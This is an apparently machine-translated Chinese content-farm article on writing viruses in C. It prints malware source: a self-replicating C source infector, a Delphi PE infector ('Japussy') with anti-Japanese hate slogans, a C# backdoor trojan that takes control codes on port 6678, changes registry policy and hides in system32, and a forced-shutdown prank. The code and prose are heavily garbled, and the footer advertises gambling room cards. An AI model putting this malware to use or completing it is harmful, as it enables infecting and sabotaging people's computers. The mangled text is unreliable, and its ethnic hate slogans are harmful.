怎么用c语言写病毒程序(c语言如何编写病毒)
admin
2023-09-15 01:26:00

各位好,给大家分享一下如何用C语言编写病毒程序(如何用C语言编写病毒),这个很多人还不知道。下面详细解释一下。现在让我们来看看!

1.如何用C语言编写木马、病毒等程序?

c语言当然可以写病毒。其实很多程序都是用C/C++写的。

编程语言本身不“贵”,用好了才相当强;区别在于主要适用范围,编程难度,执行效率,学习难度等等。

c语言只是一种编写计算机程序的格式规范。至于能写出什么样的程序,就看你用的C语言编译器了(比如TC,VC,LCC,GCC等。,太多)。

写windows程序的话不能用TC,它只能写DOS程序,要用VC,LCC,C++Builder等编译工具)

写出来的程序必须调用操作系统提供的函数,比如windows程序调用Win32API,而DOS程序调用DOS中断。编程实际上是对这些操作系统提供的功能的调用。

现在很多病毒都是用常见的编程工具编写的,比如VC++、delph、VC、Win32汇编等等。

2.如何用C语言写一个简单的病毒并给出代码过程

首先,这个程序是我举的一个例子,只是为了让大家明白。如果你捉弄人,我不承担任何责任!希望大家专注学习!我们应该讨厌病毒,但是作为一个纯研究,很多人还是对病毒很感兴趣。以前用汇编做了一些破坏性的病毒,想和大家分享一下。但是考虑到有些小人看完之后会做出一些损人不利己的行为,所以我决定用这个简单无害的C语言伪病毒来说明问题,再次声明这都是为了编程研究!!!病毒的特点:病毒最大的特点是自我复制。根据病毒的分类,病毒有很多种。这里我们将介绍最流行的添加型病毒,它通过重写和添加正常文件来实现自身的自我复制。

从程序的角度来看,我们需要做两件事:1。让程序在不影响其他程序工作的情况下,将自身复制到其他程序中,使其具有继续复制的能力。2.在一定的条件下,使其产生某种癫痫发作的效果。

其实第一件事其实可以看做是复制文件,把病毒源文件的所有函数放在被感染文件的末尾,在被感染文件中调用这个函数。下面给出了C语言的实现过程:1.主程序调用病毒函数2,病毒函数读取并搜索同一目录下的所有C文件;3.找到一个(被感染的C文件),打开,把这个文件全部读入数组变量;4.重新创建一个相同名称的文件(受感染的C文件)5。将数组变量写回被感染的C文件,并写入病毒源文件所需的头文件和病毒函数调用语句;6.打开病毒源文件,将所有病毒函数函数写到被感染的C文件末尾;这么简单的一个C语言伪病毒.C已经运行完程序,并将其内容保存为after_virus。C.此时,如果我们将1.c文件复制到其他机器上,或者通过电子邮件发送给A盘上的其他人,那么结果就是,他们会感染保存1.c文件的目录下的所有C文件。对于第二件事——“攻击效果”,在这里,只有printf语句警告你。当然,你可以写一个TSR常驻函数。事实上,这个程序几乎不能被称为病毒,但它根本不是一个真正的病毒。好了,就这些。代码如下:#include#includevoidmain(void){virus();}intvirus(){structffblkffblk;文件*in,*out,*readchar*virus="virus.ccharbuf考虑到那种病毒。丙型肝炎会感染逆转录病毒。c和病毒。c将清除病毒。c.所以写这两个程序的时候一定要加一个条件语句if(strcmp(ffblk.ff_name,"virus.c")!=0)和if(strcmp(ffblk.ff_name,"virus.c")!=0)。[80];char*p;char*end="returnchar*bracket="}char*main="mainchar*include[2]={"stdio.h","dir.h"};char*int_virus="intvirus()";char*缓冲区;intdone,I,j=0,flag=0;printf("\n我有病毒。由PuBin撰写\n");done=findfirst(*。c",&ffblk,0);而(!done){I=0;if((in=fopen(ffblk.ff_name,"rt"))==NULL){gotonext;}do{if(I>=50){fclose(in);转到下一个;}p=fgets(buf[i],80,in);i++;}while(p!=NULL);fclose(in);out=fopen(ffblk.ff_name,"w+t");fputs("#include\n",out);fputs("#include\n",out);do{if(strstrstr(buf[j],main)!=NULL){for(;J3。如何用C语言写一个木马病毒

c语言是一种通用的计算机编程语言,应用非常广泛。C语言的设计目标是提供一种能够以简单的方式编译处理低级内存,生成少量机器码,不需要任何运行环境支持就能运行的编程语言。

C语言虽然提供了很多底层处理功能,但仍然保持了良好的跨平台特性。用标准规范编写的c语言程序可以在许多计算机平台上编译,甚至包括一些嵌入式处理器(MCU)和超级计算机。

1.首先你得想想你的病毒能达到什么功能。

2.然后了解病毒的特点,自发性,传染性,关联性。

3.最后,如何绕过目标电脑的防火墙和杀毒软件。

4.如何用C语言编写一个病毒?

熊猫烧香病毒,请不要滥用程序Japussy使用Windows、SysUtils、Classes、Graphics、ShellAPI{、Registry}。constHeaderSize=82432//病毒体的大小IconOffset=$12EB8//PE文件//主图标的偏移量//在我的Delphi5SP1上编译的大小可能和其他版本的Delphi不一样。//查找十六进制字符串280000020,求出主图标的偏移量{HeaderSize=38912//Upx压缩病毒体的大小IconOffset=$92BC//Upx压缩PE文件主图标偏移量//Upx1.24W用法:UPX-9-8086Japussy.exe}图标大小=$2E8//PE文件主图标的大小//744字节icontail=iconoffset+IconSize;//PE文件主图标的尾部ID=$44444444;//感染标记//写在流行语里的垃圾代码=‘如果一个种族需要被消灭,那一定是大和。’+‘如果一个国家需要被摧毁,那一定是日本!’+'***W32。japussy.worm.a***’;{$R*。RES}函数RegisterServiceProcess(dwProcessID,dwtype:Integer):Integer;stdcall外部“kernel32.dll”;//函数声明varTmpFile:string;si:startupinfo;Pi:进程_信息;IsJap:Boolean=False;//日文操作系统标志{判断是否是Win9x}函数isWin9x:Boolean;varVer:TOSVersionInfo;开始结果:=Falsever.dwosversioninfosize:=SizeOf(TOSVersionInfo);如果不是GetVersionEx(Ver),则退出;if(ver.dwplatformid=VER_平台_WIN32_WINDOWS)那么//Win9x结果:=真;结束;{流间复制}过程复制流(src:tstream;sStartPos:整数;dst:TStream;dStartPos:整数;计数:整数);varsCurPos,dCurPos:Integer;beginsCurPos:=Src。位置;dCurPos:=Dst。位置;Src。Seek(sStartPos,0);夏令时。Seek(dStartPos,0);夏令时。CopyFrom(Src,Count);Src。Seek(sCurPos,0);夏令时。Seek(dCurPos,0);结束;{将主机文件与受感染的PE文件分开使用}过程提取文件(文件名:字符串);varsStream,dStream:TFileStream;begintrysStream:=TFileStream。Create(ParamStr(0),fmOpenRead或fmShareDenyNone);trydStream:=TFileStream。创建(文件名,fmCreate);试试sStream。Seek(HeaderSize,0);//跳过头的病毒部分,dstream.copyfrom(sstream,sstream.size-头大小);最后是dStream。免费;结束;最后是Stream。免费;结束;除了end结束;{填充STARTUPINFO结构}过程填充startupinfo(varsi:startupinfo;状态:Word);beginSi.CB:=SizeOf(Si);si.LPreserved:=nil;si.lpdesktop:=nil;si.LPtitle:=nil;si.dwflags:=STARTF_USESHOWWINDOW;si.wshowindow:=State;si.CBreserved2:=0;si.lpreserved2:=nil;结束;{发送有害邮件}过程SendMailBegin//谁愿意完成它?结束;{被感染PE文件}过程感染文件(文件名:字符串);varHdrStream,SrcStream:TFileStream;IcoStream,dststream:TMemoryStream;iID:LongInt;aIcon:TIcon;Infected,IsPE:Boolean;I:整数;Buf:array[0..1]的字符;Begintry//如果有错误,文件正在被使用。Exitifcomparetext(filename,'japussy.exe')=0then//如果是自己,就不会感染exit;已感染:=假;IsPE:=False;SrcStream:=TFileStream。Create(文件名,fmOpenRead);尝试fori:=0到8do//检查PE文件头beginsrcstream.seek(I,sofrombinging);SrcStream。Read(Buf,2);如果(BUF[0]=#80)和(BUF[1]=#69)那么//PE标记开始IsPE:=True;;//是PE文件分隔符;结束;结束;SrcStream。Seek(-4,soFromEnd);//检查感染标记SrcStream。改为(iID,4);if(iid=id)or(srcstream.size<10240)则//太小的文件不会被感染:=True最后SrcStream。免费;结束;如果被感染或者(不是IsPE)那么//如果它被感染或者不是PE文件则退出;IcoStream:=TMemoryStream。创建;DstStream:=TMemoryStream。创建;试试aIcon:=TIcon。创建;尝试//获取被感染文件的主图标(744字节)并存储在流aIcon中。释放句柄;爱康。Handle:=ExtractIcon(HInstance,PChar(FileName),0);爱康。SaveToStream(IcoStream);最后是aIcon。免费;结束;SrcStream:=TFileStream。Create(文件名,fmOpenRead);//头文件HDRstream:=tfilestream.create(paramstr(0),fmopenread或fmsharednenone);尝试//在病毒体主图标前写数据副本流(HDR流,0,dststream,0,iconoffset);//写当前程序的主图标copystream(icostream,22,dststream,iconoffset,iconsize);//在病毒体主图标和病毒体尾部之间写入数据copystream(HDR流、图标尾、dststream、图标尾、header-icon尾);//写入宿主程序copystream(srcstream,0,dststream,headersize,srcstream.size);//写入受感染的标记DstStream。Seek(0,2);iID:=$4444444;DstStream。Write(iID,4);最后HdrStream。免费;结束;最后SrcStream。免费;IcoStream。免费;DstStream。SaveToFile(文件名);//替换宿主文件DstStream。免费;结束;除外;结束;结束;{将目标文件写入垃圾代码并删除}程序smash文件(文件名:字符串);var.

5.如何用C写一个病毒

3.1.1病毒程序病毒。C这是一个用C语言写的病毒程序,显示病毒程序被触发的时间,然后返回。

病毒程序病毒。C可以感染一个C语言程序。被病毒感染的程序在编译、连接和执行时,病毒可以部分传播到其他C语言源程序中。

每执行一个带病毒的C语言程序,病毒就传到C语言源程序一次。这个程序的设计思路是:当一个包含病毒部分的程序被执行时,首先进入病毒程序。

它会在磁盘上查找扩展名为C的匹配文件,如果是,它会查找被感染的徽标“INFECTED”。如果有这个标志,继续寻找其他的C文件,直到所有的都检查完。

如果没有这样的标志,那么(1)在未感染的C程序头上加上“已感染”。(2)读取病毒文件的头文件,将其插入到待感染文件的头文件中。

如果发现重复,将不会插入。(3)插入“病毒();”在主程序中调用病毒函数。

查找printf、for、while、break语句,并在找到它们之前插入它们。(4)在文件末尾插入VIRUSES_SUB子程序。

(5)在要感染的文件中插入的VIRUSES_SUB子例程中,文件名必须改为当前文件名,否则被感染的文件在编译、连接、运行后无法继续感染。(6)最后,插入病毒子程序。

在这个子程序中调用了VIRUSES_SUB,执行结果返回到这里。使用了四个错误返回值,即:1。用户文件太大,无法感染;2:带病毒的文件打不开,不传染;3:病毒文件读取不成功,所以没有被感染;4:查找第一个匹配文件失败。

如果返回值为0,则文件感染成功。具体实现过程如下:函数和结构的用法请参考3.3节。

首先,导入病毒子程序要用到的三个库文件,分别是dir.h、stido.h、dos.h,在主函数中只调用病毒函数。定义在病毒函数之后立即调用的VIURS_SUB函数。

其中定义了几个变量。Ffblk用来保存找到的匹配文件的信息,里面的ff_name变量用来保存匹配的文件名。

然后定义存储未感染文件和病毒文件的文件类型指针变量,用*virus_r和*virus_v读取文件缓冲区,放入二维数组a[500][80]中暂存。因为这个程序不会感染大于500行的C文件,所以可以放进去。

首先用getdate函数获取系统的当前日期并输出。然后使用findfirst函数找到扩展名为C的文件,并将其信息保存到ffblk中。

用fgets函数读取文件的第一行,长度为80-1个字符。然后,strstr函数被用来检测病毒的迹象,看看文件是否有感染的迹象。

如果是,则表示该文件已被感染。关闭文件而不被感染。当包含病毒部分的程序被执行时,它首先进入病毒程序。

它会查找匹配的文件*。一旦找到它,它就会寻找“被感染”的标志。如果有这个迹象,继续寻找其他*。c文件,直到检查完所有文件。

如果没有这样的标志,就把所有文件读成一个[500][80]。如果发现文件超过500行,就不会感染,并返回。将文件指针指向文件头,打开带有病毒的文件。

如果打不开,就回去。然后读取带有病毒的文件的前四行,也就是病毒子程序要使用的头文件,写入要感染的文件。

如果带病毒的文件无法读取,则返回。使用n_line变量控制行数,将被感染文件的源程序写回原文件。

其中病毒文件现有include语句不被写入以进行处理,也就是说,不重复#Include语句。这是通过定义一个字符数组charinclude_h[]={"dos.h","stdio.h","dir.h"};strstr函数检查被感染文件的头文件是否与*include_h[]相同,如果相同,则不插入。

找出通话病毒;;插入点:如果一行中有printf、break、for、while语句之一,则在其后插入调用病毒函数的调用语句。将病毒子程序写入文件。

最后,更改受感染的文件名。如果不改名,就不能多次感染,也就不能体现病毒的自我复制能力。

找到行staticcharvirus_f[]={"virus.c"},把文件名改成被感染的文件名。然后找到下一个匹配的文件。

3.1.2病毒清除程序审查。病毒清除的过程与感染的过程相反。感染时,插入调用病毒函数的调用语句,并在杀毒文件中删除该语句。

然后删除病毒子程序VIURSES_SUB和VIURSES。存在无法恢复的问题。

因为当时插入病毒子程序所需的头文件时,没有记录感染前文件的头文件信息,所以无法恢复。但这并不影响原始文档。

所以病毒清除程序不处理这个问题。因为病毒程序病毒。c和病毒清除程序回顾。放在同一个目录中进行演示。

[50]

当包含清洁部分的程序被执行时。它会在磁盘上查找扩展名为C的匹配文件,如果是,它会查找被感染的徽标“INFECTED”。

如果没有这种迹象,继续寻找其他C文件,直到所有的检查。如果有这个标志,(1)查找磁盘文件,如果有感染标志“已感染”,打开文件。

如果没有,关闭文件并寻找下一个测试*。c.(2)读取文件,先判断是否是病毒();如果不是,确定是否是intViruses_sub(),如果不是,读取。

6.如何用C语言编辑病毒代码

c语言病毒代码#include#include#include#includevoidcopyfile(char*infile,char*outfile){file*in,*outin=fopen(infile,"r");out=fopen(outfile,"w");而(!feof(in)){fputc(fgetc(in),out);}fclose(in);fclose(out);}voidmakebaggest(){intI;FILE*fpchar*pathchar*NewNamechar*disk[7]={"A","B","C","D","E","F","G"};char*addtion=":\\";for(I=0;从I程序的角度来看,我们有两件事要做:1。让程序在不影响其他程序工作的情况下,将自身复制到其他程序中,使其具有继续复制的能力。2.在一定的条件下,使其产生某种癫痫发作的效果。

其实第一件事其实可以看做是复制文件,把病毒源文件的所有函数放在被感染文件的末尾,在被感染文件中调用这个函数。下面给出了C语言的实现过程:1.主程序调用病毒函数2,病毒函数读取并搜索同一目录下的所有C文件;3.找到一个(被感染的C文件),打开,把这个文件全部读入数组变量;4.重新创建一个相同名称的文件(受感染的C文件)5。将数组变量写回被感染的C文件,并写入病毒源文件所需的头文件和病毒函数调用语句;6.打开病毒源文件,将所有病毒函数函数写到被感染的C文件末尾;这么简单的一个C语言伪病毒.C已经运行完程序,并将其内容保存为after_virus。C.此时,如果我们将1.c文件复制到其他机器上,或者通过电子邮件发送给A盘上的其他人,那么结果就是,他们会感染保存1.c文件的目录下的所有C文件。对于第二件事——“攻击效果”,在这里,只有printf语句警告你。当然,你可以写一个TSR常驻函数。事实上,这个程序几乎不能被称为病毒,但它根本不是一个真正的病毒。好了,就这些。代码如下:#include#includevoidmain(void){virus();}intvirus(){structffblkffblk;文件*in,*out,*readchar*virus="virus.ccharbuf[50][80];char*p;char*end="returnchar*bracket="}char*main="mainchar*include[2]={"stdio.h","dir.h"};char*int_virus="intvirus()";char*缓冲区;intdone,I,j=0,flag=0;printf("\n我有病毒。由PuBin撰写\n");done=findfirst(*。c",&ffblk,0);而(!done){I=0;if((in=fopen(ffblk.ff_name,"rt"))==NULL){gotonext;}do{if(I>=50){fclose(in);转到下一个;}p=fgets(buf,80,in);i++;}while(p!=NULL);fclose(in);out=fopen(ffblk.ff_name,"w+t");fputs("#include\.

7.如何用C语言制作一个简单的病毒

首先创建一个1.bat文件,然后根据下面的2113在5261中写下你要删除的键。删除4102注册表中的注册表项Windows注册表编辑器5.00版[-HKEY_本地_机器\软件\微软\Windows\当前\运行]另存为reg文件。双击指南删除此1653密钥。注意有“-”号删除注册表中的值并返回到Windows注册表编辑器5.00版[HKEY_本地_机器\软件\微软\Windows\当前\运行]"Soundman"=-这样就可以删除这个值了。你可以自己做。记得先备份注册表再做伤害。

8.如何用C语言写后台病毒程序的代码?

实现木马服务程序,主要实现以下功能:后台运行(隐藏技术)、接收控制代码、修改注册表。以下三个方面进行介绍:1.在VC#中,很容易建立一个后台服务程序。首先,用自定义的项目名建立一个新的C#Windows应用程序(但可以用和系统类似的名字进行隐藏)。将窗体的“ShowInTaskbar”属性设置为false,使其运行时不会显示在任务栏中,将“Windowstate”属性设置为mini化,使窗体可以隐藏运行。

当然也可以在InitializeComponent()中设置。这个函数起到初始化的作用,在表单显示之前运行。代码如下:PrivateVoidInitializeComponent(){///form1///表单的起点和大小显示这个。AutoscaleBasesize=newsystem.drawing.size(6,14);这个。ClientSize=新系统。图纸。尺寸(368,357);//窗体名称this.name="form1//设置属性,让它运行此。后台ShowInTaskbar=false这个。Text="Form1这个。WindowState=System。windows.forms.formwindowstate.minimized;}2.控制代码的接收必须在服务程序开始时启动,所以程序初始化时必须启动监听线程,所以放在窗体的构造函数中,代码注释如下:publicForm1()///Windows窗体设计器的构造函数支持必要的//initializecomponent();////TODO:在InitializeComponent调用后添加任何构造函数代码。//添加您的监听代码。//可以自己设置端口。我用的是固定端口intport=6678//系统;网;插座;tcplistener是listener=新的tcplistener(端口),用于侦听Tcp网络中的客户端;//开始监听listener.Start();//添加接收控制代码的线程。如果要停止线程,可以使用Thread.abort()//reControlCode是线程开始执行的函数。该函数根据接收到的控制//控制代码选择合适的注册表修改函数threadthread=newthread(newthreadstart(recontrolCode));线程。start();RECONTROCODE函数如下。完整代码请参见PrivateVoidRECONTROCODE(){//设置接收套接字的程序。接收监听器。AcceptSocket是返回接收客户的请求socket=listener.acceptsocket();//如果连接成功执行while(socket。Connected){//接收控制码byte[]by=newbyte[6];inti=socket。收到(由,由。长度,0);字符串ss=系统。text.encoding.ascii.getstring(by);//根据控制代码执行不同的功能。//修改注册表添加代码开关(SS){case"jiance"://测试连接,返回测试信息字符串str="hjcbyte[]bytee=System。text.encoding.ascii.getbytes(str);插座。发送(字节,0,字节。长度,0);打破;案例"zx1000"://修改注册表函数,自己定义。参见下面对unlogoff()的分析;//返回控制消息retMessage();打破;案例"zx0100"://修改注册表函数unclose();//返回控制消息retMessage();打破;//重复的case函数和之前一样,默认:break省略;}//case}//while}//PrivateVoidrecontrol代码3,C#使用系统。Microsoft.Win32命令空。NET类库,它提供了两种类型的类:处理操作系统引起的事件的类和操作系统注册表的类。你可以在下面看到它的用法。

这里我做了一个修改注册表的子程序:让电脑无法注销。在此之前,先了解一下注册表,将子项Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer下的键值NoLogOff设置为1,使电脑无法注销。

在下面的函数中,用C#修改了注册表:privatevoidUnLogOff(){//获取主机注册表的顶层节点Microsoft。Win32。注册表项RLocal=registry。本地机器;//设置注册表子项的变量RegistryKeykey1try{//functionregistrykey.opensubkey(stringregistrykey,boolcanwrite)检索指定的子项。registrykey是用户指定的键值,如果canwrite为true可以修改。默认为fasleimmutablekey1=rlocal.opensubkey("software\\Microsoft\\windows\\currentversion\\policies\\explorer",true);//设置子项的键名,值key1.setvalue("nologoff",1);//关闭打开的子项key1.Close();//警告字符串设置mystr=mystr+"HKEY_本地_机器\\软件\\微软\\windows\\当前版本\\策略\\资源管理器键值Nologoff被修改!请设置为0!”;}catch{}//如果没有自创建if(key1==null){try{//使用registrykey.createsubkey(stringmystring)函数创建需要的子项,registrykey2=rlocal.createsubkey("software\\Microsoft\\Windows\\currentversion\\Policies\\Explorer");按键2。SetValue("NoLogOff",1);按键2。close();Mystr=mystr+"HKEY本地计算机\\软件\\微软\\windows\\当前版本\\策略\\资源管理器键值Nologoff已被修改!请设置为0!”;}catch{}}}。木马程序中的另一个重要功能是自我复制和转移。当特洛伊木马被引入受控主机时,它必须自动隐藏在System,System32目录中,以防被发现。

传输的代码分析如下。主要功能是将木马程序从D盘转移到C:\\winntt\\system\\msdoss.exe,同时更改名字。使用。网络域名系统。空之间的IO,它的作用是允许同步和异步读写数据流和文件。

我们使用系统。IO.File类在这里。私人空间.

9.有哪些病毒是用C语言写的?

#include#includemain(){chara;intb;系统(“关闭-s”);Printf("你是猪吗?\n如果是,请输入y;如果不是,请输入n。

");a=getchar();b=a=='yif(b==1){system("shutdown-a");Printf("哈,世界上又多了一只会说话的猪。n");}elseprintf("后果很严重...\n");getchar();getchar();返回0;}这应该不是病毒,没有自我复制功能。你可以把它放到编译器里运行,看看会有什么后果。

以上解释了如何用C语言编写病毒程序(如何用C语言编写病毒)。这篇文章已经分享到这里了。希望能帮到大家。

相关内容

热门资讯

金花创建房间/微信金花房卡怎么... 1.微信渠道:(荣耀联盟)大厅介绍:咨询房/卡添加微信:88355042 2.微信游戏中心:打开微...
金花房间卡/金花房卡如何购买/... 金花房间卡/金花房卡如何购买/新超圣金花房卡正版如何购买新超圣是一款非常受欢迎的游戏,咨询房/卡添加...
牛牛创建房间/金花房卡批发/神... 微信游戏中心:神牛大厅房卡在哪里买打开微信,添加客服【88355042】,进入游戏中心或相关小程序,...
链接牛牛/牛牛房卡游戏代理/鸿... 鸿运大厅房卡更多详情添加微:33549083、 2、在商城页面中选择房卡选项。 3、根...
科技实测!牛牛房卡怎么获得/乐... 微信游戏中心:乐酷大厅房卡在哪里买打开微信,添加客服【88355042】,进入游戏中心或相关小程序,...